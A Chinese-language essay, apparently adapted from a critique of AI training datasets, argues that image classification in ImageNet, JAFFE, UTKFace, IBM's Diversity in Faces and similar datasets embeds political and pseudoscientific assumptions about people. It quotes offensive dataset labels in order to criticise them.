在这篇文章中，我们将探讨为什么图像的自动解释是一个内在的社会和政治项目，而不是一个纯粹的技术项目。理解人工智能系统内部的政治性比以往任何时候都重要，因为它们正在迅速进入社会机构的架构中：决定哪个面试者能获得工作、哪些学生在课堂上可以专心听讲、哪些嫌疑人应该被抓捕，以及其他很多事。

- 关于这点，详见分析《说谎的眼睛：根植于维多利亚时代面部识别》
- 以及《来自中国和美国的政府监视：7个危险的用例》
- 还有《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》

在过去的两年里，人们一直在研究如何利用图像来训练人工智能系统“看”世界的基本逻辑。研究了人工智能中使用的数百个图像集合，从20世纪60年代初的面部识别的首次实验到包含数百万张图像的当代训

练集。

从方法论上讲，可以把这个项目称为数据集的考古学：我们一直在挖掘材料层，编目一些东西被构建的原则和价值，并分析哪些规范的生活模式被假设、支持和复制。

通过挖掘这些训练集的构造及其底层结构，许多毋庸置疑的假设被揭示出来。这些假设的揭示为帮助人们了解人工智能系统的工作方式和失败方式提供了重要信息，直到今天。

这篇文章从一个看似简单的问题开始。图像在人工智能系统中做什么工作？计算机要在图像中识别什么，什么是被误认甚至完全看不见的？

接下来，我们看看将图像引入计算机系统的方法，看看分类法如何对基础概念进行排序，这些概念将成为计算机系统可以理解的概念。

然后，我们转向标记的问题：人类如何告诉计算机哪些词将与给定的图像有关？而人工智能系统使用这些标签对人类进行分类的方式，包括按种族、性别、情感、能力、性别和个性进行分类，这其中又有什么利害关系？

最后，我们转而讨论计算机视觉在我们的社会中要达到的目的 —— 为计算机提供这些能力的判断、选择和后果。

训练AI

「图」

构建AI系统需要数据。为识别物体或识别人脸而设计的监督式机器学习系统是在由许多离散图像组成的数据集中包含的大量数据上进行训练的。

例如，为了构建一个能够识别苹果和橙子的图片之间的差异的计算机视觉系统，开发人员必须收集、标记、并在数千张标记了苹果和橙子的图像上训练一个神经网络。在软件方面，算法对这些图片进行统计调查，并开发出一个模型来识别两个“类”之间的差异。

如果一切按计划进行，训练好的模型将能够区分出以前从未遇到过的苹果和橙子的图像之间的差异。

因此，训练数据集是当代机器学习系统构建的基础，它们是AI系统如

何认识和解释世界的核心。这些数据集塑造了支配人工智能系统如何运作的认识论边界，因此是理解有关人工智能的社会意义问题的一个重要部分。

但是，当您审视计算机视觉系统中广泛使用的训练图像时，就会发现一个由不稳定的和歪曲的假设构成的基础。

由于计算机视觉领域很少讨论的原因，尽管麻省理工学院这样的机构以及谷歌和 Facebook 这样的公司已经做了很多工作，但解释图像的项目是一项深层次的复杂和关系性的工作。图像是非常狡猾的东西，充满了多种潜在的意义、无法解决的问题和矛盾。哲学、艺术史和媒体理论的整个子领域都致力于探索图像和意义之间不稳定关系的所有微妙差别。

图像并不能描述自己。这是几个世纪以来艺术家们一直在探索的一个特点。Agnes Martin 创作了一幅网格状的画，并将其命名为 “白花”，就是上面这样；Magritte 画了一幅苹果的图，并写上 “这不是苹果”。

当人们看到这些图像的标签时，就会有不同的看法。这就是图像的政治。

图像、标签和参照物之间的回路是灵活的，可以用任何方式重构，做不同的工作。更重要的是，这些回路可以随着时间的推移而改变，因为图像的文化背景发生了变化，并且可以根据谁在看、他们在哪看，而意味着完全不同的东西。图像是可以被解释和重新解释的。

这也是为什么物体识别和分类的任务比 Minksy —— 以及后来的许多人 —— 最初所想象的要复杂得多的部分原因。

尽管人们普遍认为人工智能和它所借鉴的数据是在客观、科学地对世界进行分类，但是，到处都是政治、意识形态、偏见、以及历史上所有主观的东西。当您调查最广泛使用的训练数据集时就会发现，这是规则而不是例外。

对训练集的剖析

「图」

虽然不同的训练集的目的和架构可能有很大的差异，但它们有一些共同的属性。从核心上来说，成像系统的训练集由一组以各种方式标记

并分类的图像组成。

因此，我们可以将它们的整体架构描述为一般由三层组成：整体分类学（类的集合和它们的层次嵌套，如果适用的话）、单个类（图像被组织成的单一类别，例如“苹果”）、以及每个单独标记的图像（即被标记为苹果的单个图片）。我们的论点是：给定训练集架构的每一层都注入了政治。

以“日本女性面部表情（JAFFE）数据库”这样的数据集为例，它是由Michael Lyons、Miyuki Kamachi 和 Jiro Gyoba 在1998年开发的，并广泛用于情感计算研究和开发。

该数据集包含了10位日本女模特的照片，她们做出了7种面部表情，这些表情旨在与7种基本的情感状态相关（该数据集的预期目的是帮助机器学习系统识别和标记这些情感，用于新捕获的、未标记的图像）。

这里隐含的顶层分类法是类似于“描绘日本女性情绪的面部表情”。

如果我们从分类学上往下走，就会得出类的层次。在JAFFE的情况下，这些类别是快乐、悲伤、惊讶、厌恶、恐惧、愤怒和中性。这些类别成为了收纳箱，所有的单个图像都被存储到其中。

在一个用于面部识别的数据库中，作为另一个例子，这些类可能对应于数据集中面孔的个人名字。就如在一个用于对象识别的数据集中，这些类对应的是苹果和橘子这样的东西。它们 —— 就是你的名字 —— 在此处是用来对底层图像进行排序的不同概念。

在训练集架构的最细层次上，你会找到个体被标记的图像：无论是被标记为表示情绪状态的人脸、还是特定的人、或者是特定的物体，以及其他很多例子。对于 JAFFE 来说，你可以在这里找到一个女人在龇牙咧嘴、微笑、或者看起来很惊讶的样子的图像。

JAFFE 集有几个隐含的论断。首先是分类法本身：“情感”被视为一组有效的视觉概念。然后是一连串的附加假设：“情绪”中的概念被认为可应用于人们的面部照片（特别是日本女性）；有六种情绪加上一种中性状态；一个人的面部表情和此人的真实情绪状态之间被认为有一种“固定的关系”；面部和情绪之间的这种关系在这些照片中的女性身上是一致的、可测量的、统一的。

在类的层面上，你会发现诸如这样的东西：“有这样一种‘中性’的面

部表情” 和 “重要的六种情绪状态是快乐、悲伤、愤怒、厌恶、害怕、惊讶。”

在标记图像的层面上，还有其他隐含的假设，如 “这张特殊的照片描绘的是一个女人的 ‘愤怒’ 的面部表情”，而不是例如，这是一个女人在 **模仿** 愤怒表情的图像。

当然，这些都是 “表演” 出来的表情 —— 与任何内在状态无关，而是在实验室的环境中表演出来的。每一个层面上的隐含定义充其量都是有待商榷的，而有些定义更是饱受争议。

- 关于这种贴标签的做法为什么是荒唐的和比如错误的，详细解释见 《说谎的眼睛：根植于维多利亚时代面部识别》

就当代的一大堆训练集而言，**JAFFE** 训练集还算是相对温和的呢。它是在社交媒体出现之前创建的 —— 在开发者能够大规模从互联网上搜刮图片之前、在亚马逊的 **Mechanical Turk** 等零散的在线劳动平台允许研究人员和企业随意标注大量照片的艰巨任务之前。

随着训练集的规模和范围越来越大，由其构成的复杂性、意识形态、符号学和政治也越来越多。为了看到这一点，接下来我们将看看最具代表性的训练集，ImageNet。

- 不要错过一些很棒的符号学反抗故事《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》

样板培训集：ImageNet

「图」

迄今为止，人工智能历史上最重要的训练集之一就是 ImageNet。ImageNet 在2009年首次以研究海报的形式呈现，是一个范围和雄心都非同一般的数据集。用它的创造者斯坦福大学计算机科学教授李飞飞的话说，ImageNet 背后的想法是 “绘制出整个物体世界的地图。”

在几年的开发过程中，ImageNet 发展得非常巨大：其开发团队从互联网上搜罗了几百万张图片的集合，并短暂地成为了亚马逊 **Mechanical Turk** 的全球最大学术用户，使用一支零散的工人队伍，平均每分钟将**50**张图片分拣成数千个类别。

完成后，ImageNet 由1400多万张标签图片组成，整理成2万多个类

别。十年来，它一直是机器学习物体识别的巨无霸，也是该领域强大的重要标杆。

【注：Amazon Mechanical Turk 是一个众包网站，供企业雇用远程工作的 “众包工人” 来执行计算机当前无法完成的离散按需任务。它在 Amazon Web Services 下运行，并归亚马逊所有。雇主发布被称为 “人类智力任务” 的工作，例如识别图像或视频中的特定内容，撰写产品说明或回答问题等。

- 《亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里》
- 《你知道‘贼’长什么样吗？》
- 更多内容：“关于亚马逊”】

ImageNet 很快成为了计算机视觉研究的重要资产。它也成为了年度竞赛的基础，世界各地的实验室利用该训练集对比他们的算法，看哪一个能最准确地标记一个图像子集，以努力超越对方。

2012年，来自多伦多大学的一个团队使用卷积神经网络，手到擒来地赢得了最高奖项，为这项技术带来了新的关注。

【注：卷积神经网络是一种前馈神经网络，它的人工神经元可以响应一部分覆盖范围内的周围单元，对于大型图像处理有出色表现。 卷积神经网络由一个或多个卷积层和顶端的全连通层组成，同时也包括关联权重和池化层。这一结构使得卷积神经网络能够利用输入数据的二维结构。 】

那一刻被广泛认为是当代人工智能发展的一个转折点。ImageNet 比赛的最后一年是2017年，在有限的子集中对物体进行分类的准确率已经从71.8%上升到 97.3%。该子集不包括 “人” 类，原因很快就会显现出来。

分类法

「图」

ImageNet 的底层结构是基于 WordNet 的语义结构，WordNet 是普林斯顿大学在20世纪80年代开发的单词分类数据库。该分类法是按照认知同义词集合 “synset” 的嵌套结构组织的。

每一个 “synset” 代表一个不同的概念，同义词归为一组（例

如，“auto” 和 “car” 被视为属于同一个 synset）。

然后，这些 synsets 被组织成一个嵌套的层次结构，从一般概念到更具体的概念。例如，“椅子” 这个概念被嵌套为人工制品」陈设」家具」座椅」椅子。这种分类系统大致类似于图书馆用来将书籍排列成越来越具体的类别的那种系统。

WordNet 试图组织整个英语语言，而 ImageNet 则仅限于名词（其理念是名词是可以用来说明图像的东西）。在 ImageNet 的层次结构中，每个概念都被组织在九个顶层类别中的一个里：植物、地质构造、自然物体、运动、人工制品、菌类、人、动物和杂项。在这些类别下面是附加嵌套类的层级。

正如信息科学和科学技术研究领域早已表明的那样，所有的分类法或分类系统都是政治性的。

例如，在 ImageNet 中（它继承自WordNet），“人体” 类属于自然物」身体」人体这一分支。其子类包括 “男性身体”、“人”、“少年身体”、“成人身体”、“女性身体”。

其中 “成人身体” 类包含 “成年女性身体” 和 “成年男性身体” 两个子类。

我们发现这里有一个隐含的假设：只有 “男性身体” 和 “女性身体” 才被认为是 “自然的”。有一个 ImageNet 类别，用于 “Hermaphrodite” 一词，它诡异地（而且令人反感地）位于 Person 」 Sensualist 」 Bisexual 」分支内，与 “Pseudohermaphrodite” 和 “Switch Hitter” 类别并列。

ImageNet 的分类层次让人想起了美国国会图书馆历史上对**LGBTQ**主题书籍的分类，归入 “异常性关系，包括性犯罪” 类别，美国图书馆协会的同性恋解放特别工作组经过持续数年的运动才终于在1972年说服国会图书馆改变了这一分类。

如果从分类学下移到 ImageNet 层次结构中的 21,841 个类别，您就会看到另一种政治形式的出现。

分类类目

「图」

在创造分类类目时有一种近乎巫术的东西。创造一个类别或给事物命名，就是把一个几乎无限复杂的宇宙划分为单独的现象。把秩序无差别地强加给物质，把任何现象归于一个类别 —— 也就是给一个事物命名 —— 反过来又是重新证明该类别存在的一种手段。

在 ImageNet 的案例中，“苹果” 或 “苹果黄油” 这样的名词类别看起来似乎合理无争议，但并非所有的名词都是如此。借用语言学家 George Lakoff 的观点：“苹果” 的概念比 “光” 的概念更具有名词性，而 “光” 又比 “健康” 等概念更具有名词性。

名词在一条轴线上占据着不同的位置，从具体到抽象，从描述性到判断性。这些梯度在 **ImageNet** 的逻辑中被完全抹去了。所有的东西都被扁平化了，并被贴上了标签，就像陈列柜里的蝴蝶标本一样。其结果很可能是有问题的、不合逻辑的、残酷的，尤其是当涉及到应用到人的标签时。

ImageNet 在顶级类别 “人” 下面有 2,833 个子类别。相关图片最多的子类别是 “妞儿”（有 1,664 张图片），其次是 “祖父”（1,662 张）、“爸爸”（1,643张）和首席执行官（1,614张）。

通过这些分类您已经可以开始看到世界观的轮廓。

ImageNet 将人分为大量的类型，包括种族、国籍、职业、经济地位、行为、性格，甚至道德。

种族和民族身份也有分类，包括阿拉斯加土著人、英美人、黑人、非洲黑人、黑人妇女、中美洲人、欧亚人、德裔美国人、日本人、萨米人、拉丁美洲人、墨西哥裔美国人、尼加拉瓜人、尼日尔人、巴基斯坦人、巴布亚人、南美印第安人、西班牙裔美国人、德克萨斯人、乌兹别克人、白人、也门人和祖鲁人。

其他的人则是根据他们的职业或爱好来贴标签的：有童子军、啦啦队队员、认知神经学家、理发师、情报分析师、神学家、零售商、退休人员等等。

随着进一步深入 ImageNet 的人物分类，你会发现，其中的 “人” 分类发生了急转直下的黑暗变化：

有坏人、应召女郎、吸毒者、深柜男（就是没有出柜的同性恋男子）、罪犯、疯子、过气网红、失败者、笨蛋、伪君子、无耻荡妇、偷窥狂、废柴、闷瓜儿、甩货、性变态、嘚瑟逼、精神分裂症、二流

货、老处女、婊子、渣男、傻逼、小白、滥交狂、选择困难症、弱鸡 …… 等类别。有许多种族主义的污言秽语和厌女症的词汇。

以下是 ImageNet 中 “人” 这个类目中的选择：

当然，ImageNet 通常用于对象识别 —— 因此，“人” 类别很少在技术会议上被讨论，也没有得到公众的关注。

然而，这个由真人图像组成的复杂架构，加上常常是攻击性的标签，已经在互联网上公开十年多了。它提供了一个强大而重要的例子 —— 说明人类分类的复杂性和危险性，以及在 “小号手” 或 “网球运动员” 等本应没有问题的标签与 “笨蛋”、“黑白混血（辱骂性的词汇）” 或 “乡下土鳖” 等概念之间的交叉谱系。

无论任何特定类别的所谓中立性，图像的选择都会以性别化、种族化、能力主义、和年龄歧视的方式歪曲其意义。

ImageNet 是一个对象课，如果你愿意的话，可以研究一下当人们被像对象一样分类时会发生什么。而这种做法在近几年才越来越普遍，往往是在大的人工智能公司内部，外人没有办法看到图像是如何被排序和分类的。

最后，就是 ImageNet 的 “人” 类目的数千张图片从何而来的问题。

ImageNet 的创建者从谷歌等图片搜索引擎中大量采集图片，在人们不知情的情况下盗用了他们上传到互联网的自拍和度假照片，然后将其贴上标签并重新包装，作为整个领域的基础数据。

- 《你曾经在社交网络上发布过自己的照片？你危险了！》

当您审视被贴上标签的图片的基础层时，就会发现非常值得怀疑的符号学假设、19世纪人文学科的回声，以及在没有得到人们同意或参与的情况下对其进行分类的突出伤害。

ImageNet Roulette：分类实验

「图」

ImageNet 数据集通常用于对象识别。但作为我们的考古方法的一部分，我们有兴趣看看如果我们专门在其 “人” 的类别上训练一个*AI*模型会发生什么。这个实验的结果就是 *ImageNet Roulette*。

【注：*“ImageNet Roulette”* 是一个由程序员 *Leif Ryge*，纽约大学教授、*AI Now*研究所共同创始人 *Kate Crawford*，以及艺术家 *Trevor Paglen* 最近为一个名为 *“训练人类” (Training Humans)* 的艺术展创建的网站。只需上传一张人像照片，该工具会运行一些常见的机器学习软件，然后返回决定适用于你的标签。】

ImageNet Roulette 使用一个开源的 *Caffe* 深度学习框架（在加州大学伯克利分校制作），对 *“人”* 这个类别中的图像和标签进行训练（目前 *“停机维护”*）。专有名词被删除。

当用户上传图片时，该应用程序首先运行人脸检测器来定位任何人脸。如果发现任何人脸，它就会将其发送到 *Caffe* 以进行分类。然后，应用会返回原始图像，并以一个边界框显示检测到的人脸和分类器分配给图像的标签。如果没有检测到人脸，该应用将整个场景发送到 *Caffe*，并返回左上角带有标签的图像。

正如我们所展示的，*ImageNet* 包含了许多有问题的、令人反感的和奇怪的类别。因此，*ImageNet Roulette* 所返回的结果往往借鉴了这些类别。

这是设计上的：我们希望阐明当技术系统使用有问题的训练数据集进行训练时会发生什么。***AI***对人的分类很少让被分类的人看到。***ImageNet Roulette*** 提供了一个窥视这一过程的机会 —— 并展示了事情是如何出错的。

https://imagenet-roulette.paglen.com/

标记图像

「图」

图像充满了潜在的意义、无法解决的问题和矛盾。为了解决这些含糊不清的问题，ImageNet 的标签常常将图像压缩和简化为死板的平庸。一张照片上，一个皮肤黝黑的幼儿穿着破烂肮脏的衣服，抱着一个沾满灰土的娃娃。孩子的嘴是张开的。这张照片完全没有背景。这个孩子是谁？他们在哪里？照片上只是简单地标注了 “玩具”。

但有些标签就是无厘头。一个女人在飞机座椅上打瞌睡，右臂保护性地蜷缩在怀孕的肚子上。这张图片被贴上了 “势利眼/虚荣” 的标签。一张经过PS的图片显示，笑容可掬的奥巴马身穿纳粹制服，手臂高举，手持纳粹旗。它被贴上了 “布尔什维克” 的标签。

以下是带标签的图像，被 ImageNet 的作者编辑的面孔：

「图」

「图」

「图」

在训练集的图像层，像其他地方一样，我们发现了假设、政治和世界观。

例如，根据 ImageNet，电影演员 Sigourney Weaver 被标记为一个“两性人”，一个戴着草帽的年轻人被标记为“笨蛋”，一个躺在沙滩巾上的年轻女人被标记为“盗窃惯犯”。但 ImageNet 的世界观并不限于图片和标签的怪异或贬义的连缀。

其他关于图片和概念之间关系的假设让人想起了相面算卦，即 通过观察一个人的身体和脸部特征就断定其基本特征的伪科学假设。

ImageNet 将这一点发挥到了极致，它假定一个人是“债主”、”势利眼”、“游手好闲”、或者“奴才”**……** 都可以通过察看其照片来判断。

在 ImageNet 奇怪的形而上学中，“助理教授” 和 “副教授” 有单独的图像类别 —— 就好像如果某人获得晋升，他们的长相就能反映出等级变化似的 …

当然，这些假设都有其自己的黑暗历史和相关的政治背景。

UTK：根据您的面孔给您贴上种族和性别标签

「图」

1839年，数学家 François Arago 声称，通过照片，“物体在数学上保存了它们的形态。”

在19世纪帝国主义和社会达尔文主义的背景下，摄影帮助活跃了各种形式的颅相学、生理学和优生学，并给它们披上了“科学” 的虚假外衣。

Francis Galton 和 Cesare Lombroso 等生理学家创造了罪犯的合成图像，研究了妓女的脚，测量了头骨，并编制了细致的标签图像和测量

档案，所有这些都是为了利用机械性过程来检测种族、犯罪和偏离资产阶级理想的分类中的视觉信号。

这样做的目的是为了捕捉和病理化被视为 “离经叛道” 或 “犯罪” 行为的东西，并使这种行为在世界上可以观察到。

而正如我们将要看到的，不仅生理学的基本假设在当代训练集上得到了回归，而且，事实上，一些训练集的设计本身就是将算法和面部特征这些古老的卡尺来进行现代版的颅骨测量。

例如，UTKFace 数据集（由田纳西大学诺克斯维尔分校的一个小组制作）由超过2万张带有年龄、性别和种族注释的人脸图像组成。该数据集的作者表示，该数据集可用于各种任务，如自动人脸检测、年龄估计和年龄累计。

以下是UTKFace数据集：

每张图片的注释包括每个人的估计年龄，以年数表示，从0到116。性别是一个二元选择：男性为0或女性为1；其次，种族是从0到4的分类，并将人们归入五个等级之一：白人、黑人、亚裔、印第安人或 “其他人”。

这里的政治因素既明显又令人不安。在类别层面，研究者对性别的概念是一个简单的二元论，“男性” 和 “女性” 是唯一的选择。在图像标签的层面上，它在假设一个人的性别身份可以通过照片来确定。

其种族分类模式更使人想起二十世纪许多有严重问题的种族分类。例如，南非种族隔离制度试图将整个人口分为四类：黑人、白人、有色人种或印第安人。

大约在1970年，南非政府建立了一个统一的 “身份名册”，被称为 “Book of Life”，它与**IBM**建立的一个集中化管理的数据库相连。这些分类依据的是 “外表、普遍接受程度、或声誉” 等可疑的和显然是不断变化的标准，许多人被重新分类，有时是多次被分类。

南非的种族分类制度与美国的 “一滴血” 规则还不同，美国的 “一滴血” 规则指出，即使有一个非洲裔祖先，此人也会使某人被定位为黑人，这可能是因为几乎所有南非白人都有一些可追溯的非洲黑人祖先。不论此人的皮肤是什么颜色。

最重要的是，这些分类制度对人们造成了巨大的伤害，而难以捉摸的纯 “种族” 标志的分类方法始终存在争议。然而，寻求通过生产 “更多

样化” 的人工智能训练集来改善问题，却带来了自身的复杂性。

IBM的多元化人脸

「图」

IBM的 “Diversity in Faces” 数据集的创建是为了回应批评者，这些批评者指出，该公司的面部识别软件往往根本无法识别皮肤较黑的人的面孔。

IBM公开承诺改进他们的面部识别数据集，使其更具 “代表性”，并因此发布了 “Diversity in Faces”（DiF）数据集。

DiF 被构建为 “确保人脸识别公平性和准确性的计算实践基础”，它由从Yahoo Flickr Creative Commons 数据集中提取的近百万张人物图像组成，专门为实现肤色、面部结构、年龄和性别等类别之间的统计均等而组装。

该数据集本身延续了收集数十万张不怀好意的人上传到 Flickr 等网站的图片的做法，但该数据集包含了一组独特的分类，这在之前的其他人脸图像数据集中是没有的。

IBM DiF 团队询问年龄、性别和肤色是否真的足以生成一个能够确保公平性和准确性的数据集，并得出结论称：需要更多的分类。

于是他们进入了真正奇怪的领域：包括用面部对称性和头骨形状来构建一个完整的面部图像。

研究人员声称，使用颅面特征是合理的，因为它能捕捉到一个人的面部信息，比单纯的性别、年龄和肤色要精细得多。数据集所附的论文特别强调了之前所做的工作，表明肤色本身就是一个弱的种族预测因子，但是，这就引出了一个问题，即 为什么转向颅骨形状是合适的。

所谓的颅骨测量学是十九世纪生物决定论的一种主要方法。正如 Stephen Jay Gould 在其《The Mismeasure of Man》一书中所表明的那样，十九世纪和二十世纪的伪科学家利用头骨大小作为一种虚假的方法，宣称 “白人天生优于黑人”，而且宣称不同的头骨形状和重量决定了人们的智商 —— 始终是按种族划分的。

虽然公司为建立更多样化的培训集所做的努力经常被冠以 “增加公平性” 和 “减少偏见” 的幌子，但有效地发挥作用的工具。

然而，在这里，对人进行分类和分级的技术过程也完全是一种政治行为。例如，如何在数据集中实现“公平”分配？

IBM 决定使用数学方法来量化“多样性”和“均匀性”，这样在整个数据集中，每一个被量化的特征都存在一个一致的均匀性衡量标准。

数据集还Amazon Turk 工人为每张图片生成的，类似于 ImageNet 所使用的方法 —— 所以人们的性别和年龄是根据三个点击工人对从互联网上搜刮的照片所显示的内容的猜测来“预测”的。这让人想起了早期的狂欢游戏“猜猜你的体重！”，这俩东西具有类似的“科学性”。

归根结底，除了这些深层次的方法论问题外，多样性的概念和政治历史的意义正在被剥夺，而仅仅取代为扩大的生物表型。

在这种情况下，多样性只是意味着更广泛的头骨形状和面部对称性。对于计算机视觉研究者来说，这似乎是一种“公平的数学化”，要知道它只是为了提高监控系统的效率。

而即使在尝试了这么多扩大人的分类方式之后，Diversity in Faces 集仍然依赖于性别的二元分类：人们只能被贴上男性或女性的标签。实现不同类别之间的均等并不等于实现多样性或公平性，**IBM** 的数据构建和分析在狭隘的世界观中延续了一套有害的分类方式。

训练集的认识论

「图」

视觉AI系统的基础假设是什么？

首先，训练集的基础理论范式假设概念 —— 无论是“玉米”、“性别”、“情感”还是“屌丝” —— 首先是存在的，而且这些概念是固定的、普遍的，具有某种超越性的基础和内在一致性。

其次，它假定图像与概念、表象与本质之间存在着固定的、普遍的对应关系。更重要的是，它假定图像、参照物和标签之间存在着不复杂的、不言自明的、可测量的联系。

换句话说，它假设不同的概念 —— 无论是“玉米”还是“窃盗癖” —— 都有某种本质将它们的每一个实例联系在一起，而这种潜在的本质“可以”在视觉上表现出来。

此外，该理论认为，通过使用统计学方法在一系列被标记的图像中寻找形式特征，这种视觉本质是可以辨别出来的。该理论认为，比如 被称为 “失败者” 的人的图像包含某种视觉模式，可以将他们与 “农民”、“助理教授” 、或苹果等区别开来。

最后，这种方法假设所有具体的名词都是平等地被创造出来的，许多抽象的名词也在具体的和视觉层面上表达自己（如 “幸福” 或 “反犹主义”）。

“反犹主义” 长什么样？

当代计算机视觉和人工智能中无处不在的标签图像的训练集是建立在对图像、标签、分类和表征的性质的未经证实和不稳定的认识论和形而上学假设的基础上的。此外，这些认识论和形而上学的假设可以追溯到历史上对人进行视觉评估和分类的方法，作为压迫和种族排斥的工具。

数据集并不是简单的喂养算法的原材料，而是政治干预。因此，围绕人工智能系统中所谓 “偏见” 的许多讨论都错过了真正的议题：并不存在什么 “中立”、“自然” 或 “非政治” 的改良。不存在简单的技术 “修复”。收集图像、对它们进行分类和贴标签的整个工作本身就是一种政治形式，充满了关于谁能决定图像的含义以及这些表征所执行的社会和政治工作的高度敏感问题。

失踪的 “人”

「图」

2019年1月，ImageNet 的 “人” 类别中的图片开始消失。突然间，斯坦福大学的服务器上再也无法访问120万张照片。啦啦队员、潜水员、电焊工、辅祭男童、退休人员和飞行员的照片都消失了。一个喝啤酒的男人被定性为 “酒鬼” 的照片消失了，一个穿比基尼的女人被称为 “婊子” 的照片和一个被归类为 “loser” 的小男孩的照片也消失了。一个男人吃三明治的照片（被贴上 “贪婪的人” 的标签）也遭遇了同样的命运。

当你搜索这些图片时，ImageNet 网站的回应是，它正在维护中，只有 ImageNet 比赛中使用的类别仍然包含在搜索结果里。

但重新上线后，网站上的搜索功能就被修改了，只能返回已被纳入 ImageNet 年度计算机视觉竞赛的类别的结果。截至本文撰写

时，“人” 类别仍可从数据集的在线界面浏览，但图像无法加载。原始图像的URL仍然可以下载。

在接下来的几个月里，其他用于计算机视觉和人工智能研究的图像库也开始消失。作为对 Adam Harvey 和 Jules LaPlace 发表的研究的回应，杜克大学下架了一个大规模监视学生上课的监控摄像头镜头照片库（称为 Multi-Target, Multi-Camera [MTMC] 数据集）。

结果发现，该数据集的作者违反了机构审查委员会批准的条款，他们在公共空间收集人们的图像，并将其数据集公开。

由监控录像创建的类似数据集从科罗拉多大学科罗拉多斯普林斯的服务器上消失了，更多的是斯坦福大学，从安装在旧金山标志性的 BrainWash 咖啡馆的网络摄像头中提取的人脸集合 “应当事人的要求被删除访问”。

到了6月初，微软也紧随其后，删除了他们具有里程碑意义的 “MS-CELEB” 收集的约1000万张照片，这些照片来自**2016**年从互联网上搜罗的**10**万人。这是世界上最大的公共面部识别数据集，被收录其中的人不仅有著名演员和政治家，还有记者、活动家、政策制定者、学者和艺术家等。

具有讽刺意味的是，在未经任何同意的情况下被纳入该集的多个人都是以批判监控和面部识别本身的作品而闻名的，包括电影制片人《第四公民》的导演劳拉·波特拉斯（Laura Poitras）、数字权利活动家吉利安·约克（Jillian York）、批评家叶夫根尼·莫罗佐夫（Evgeny Morozov）和《监视资本主义》（Surveillance Capitalism）的作者肖沙娜·祖博夫（Shoshana Zuboff）。

在《金融时报》根据 Harvey 和 LaPlace 的调查发表后，这套东西就消失了。微软的发言人仅仅声称，它被删除 “是因为研究挑战已经结束”。

一方面，从互联网上删利。通过让它们不再被访问，解决了最明显的侵犯隐私和道德问题。但是，将它们下线并没有停止它们在全世界的工作：这些训练集已经多生产型人工智能系统和学术论文中。

将它们完全删除，不仅会失去人工智能历史的重要部分，而且研究人员也无法看到假设、标签和分类方法是如何在新系统中被复制的，或者追踪工作系统中表现出的倾向性和偏见的来源。

面部识别和情感识别人工智能系统已经在向招聘、教育和医疗保健领域传播。它们面试协议的一部分。无法看到人工智能系统的训练基础，就失去了了解它们如何工作的重要取证方法。这具有严重的后果。

例如，最近剑桥大学一名博士生领导的一篇论文介绍了一种实时无人机监控系统，以识别公共区域的“暴力分子”。它在“暴力行为”的数据集上进行训练，并将这些模型用于无人机监控系统，以检测和隔离人群中的暴力行为。

该团队创建了个体暴力行为（AVI）数据集，该数据集由2000张图像组成，这些图像中的人参与了五种活动：拳打、刺杀、射击、脚踢和扼杀。为了训练他们的人工智能，他们要求25名年龄在18到25岁之间的志愿者 **模仿** 这些动作。

看视频几乎是滑稽的。演员们站得很远，做出奇怪夸张的手势。这看起来就像儿童表演的哑剧，或者是建模失败的游戏角色。 完整的数据集不供公众下载。

首席研究员 Amarjot Singh （现就职于斯坦福大学）表示，他计划通过在两个重大节日的上空飞行无人机来测试人工智能系统，并有可能在印度的国家边境进行测试。

对AVI数据集的考古分析 —— 类似于我们对 ImageNet、JAFFE 和 Diversity in Faces 的分析 —— 可能会有很大的启示。舞台上的暴力表演和现实世界的案例之间显然存在着显著的差异。研究人员正在训练无人机识别暴力的默剧，以及所有可能带来的误解。

此外，AVI数据集没有任何关于“不是暴力但可能看起来像暴力的行为”的内容；他们也没有公布任何关于他们的假阳性率（他们的系统将非暴力行为检测为暴力的频率）的细节。 在他们的数据公布之前，无法对他们如何对人体、行动或不行动进行的分类和解释进行取证测试。

【注：关于该数据集的中文内容非常之多，想想看，这意味着什么？】

这就是无法访问或消失的数据集的问题。如果这些数据集正在或曾经被用于在日常生活中发挥作用的系统中，就必须能够研究和理解它们所规范的世界观。制定框架，使未来的研究人员能够以不造成伤害的方式访问这些数据集，是一个需要进一步努力的课题。

结论：谁来决定？

「图」

二十世纪初的 Lombrosian 犯罪学家和其他语言学家并没有把自己看作是政治反动派。相反，正如 Steven Jay Gould 所指出的那样，他们往往是自由主义者和社会主义者，他们的意图是 “利用现代科学作为一把清洁的扫帚，从法学中扫除自由意志和不可减轻的道德责任等过时的哲学包袱”。

他们认为，他们研究犯罪行为的人体测量可以导致一种更开明的司法适用方法。他们中的一些人真正相信自己正在 “消除” 刑事司法系统的偏见，通过应用他们的 “科学” 和 “客观” 方法创造 “更公平” 的结果。

在颅相学和 “犯罪人类学” 这类伪科学的鼎盛时期，艺术家 René Magritte 完成了一幅烟斗画，并配上了 “Ceci n’est pas une pipe” 的字样（“这不是烟斗”）。

Magritte 将这幅画称为 La trahison des images，”图像的背叛”。同年，他在超现实主义通讯 La Révolution surréaliste 上写了一篇文章。“Les mots et les images” 是对图像、标签、图标和参照物的复杂性和微妙性的戏弄，强调了图像与文字或语言概念之间的关系在多大程度上是很不简单的。

该系列作品将在一系列绘画作品中达到高潮，如前述；“这不是一个苹果。”

Magritte 和生理学家的表现方法之间的对比，说明了对图像及其标签之间的基本关系以及对表现本身的两种截然不同的概念。对生理解剖学家来说，有一种潜在的信念，即 一个人的形象和这个人的性格之间的关系是刻在图像本身上的。

Magritte 的假设几乎是截然相反的：图像本身与似乎所代表的事物之间充其量只有一种非常不稳定的关系，这种关系可以被任何有权力说清某幅图像的含义的人加以雕琢。对 Magritte 来说，图像的意义是关系性的，是可以争论的。

乍一看，Magritte 的画作似乎只是一个简单的符号学噱头，但是，Magritte 在画作中所强调的潜在动态却指向了更广泛的表征和自我表征的政治。

诸如此类的例子 —— 人们试图定义自己所代表的意义的案例 —— 在争取正义的斗争中随处可见。代际意义。

在人工智能中使用的训练集的架构和内容有很多利害关系。它们可以促进平等或加强歧视，批准或拒绝，使可见或不可见，判断或执行。因此，我们需要研究它们 —— 因为它们已经被用来研究我们了，并且需要对它们的后果进行更广泛的公开讨论，而不是将其保留在学术走廊内。

随着这些训练集越来越成为城市、法律、后勤和商业基础设施的重要部分，它们有一个重要的但一直未被充分研究的角色，即：以它们自己的图像塑造世界的巨大权力。〇

